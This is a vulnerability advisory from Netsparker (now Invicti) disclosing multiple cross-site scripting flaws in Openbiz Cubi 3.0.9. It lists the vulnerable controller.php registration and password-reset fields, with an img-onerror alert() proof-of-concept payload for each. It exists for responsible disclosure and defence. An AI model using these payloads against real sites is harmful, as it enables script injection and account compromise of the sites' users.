Information
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Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in Openbiz Cubi
Affected Software: Openbiz Cubi
Affected Versions: 3.0.9 and possibly below
Vendor Homepage: http://www.openbiz.me/developer/cubi.php
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-14-044

Technical Details
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Proof of Concept URLs for XSS in Openbiz Cubi:

  • http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.RegisterForm]&P1=[CreateUser]&__this=btn_register:btn_register_onclick&_thisView=user.view.RegisterView (POST, fields: fld_username)
    ><iMg%20src=N%20onerror=alert(9)>
  • http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.RegisterForm]&P1=[CreateUser]&__this=btn_register:btn_register_onclick&_thisView=user.view.RegisterView (POST, fields: fld_password_repeat)
    '><iMg src=N onerror=alert(9)>
  • http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.RegisterForm]&P1=[CreateUser]&__this=btn_register:btn_register_onclick&_thisView=user.view.RegisterView (POST, fields: fld_password)
    '><iMg src=N onerror=alert(9)>
  • http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.ForgetPassForm]&P1=[ResetPassword]&__this=btn_restpass:onclick&_thisView=user.view.ForgetPassView (POST, fields: username)
    ><iMg%20src=N%20onerror=alert(9)>
  • http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.ForgetPassForm]&P1=[ResetPassword]&__this=btn_restpass:onclick&_thisView=user.view.ForgetPassView (POST, fields: email)
    ><iMg%20src=N%20onerror=alert(9)>
  • http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.RegisterForm]&P1=[CreateUser]&__this=btn_register:btn_register_onclick&_thisView=user.view.RegisterView (POST, fields: fld_email)
    ><iMg%20src=N%20onerror=alert(9)>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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27/06/2014 - First Contact
07/07/2014 - Second Contact
24/12/2014 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.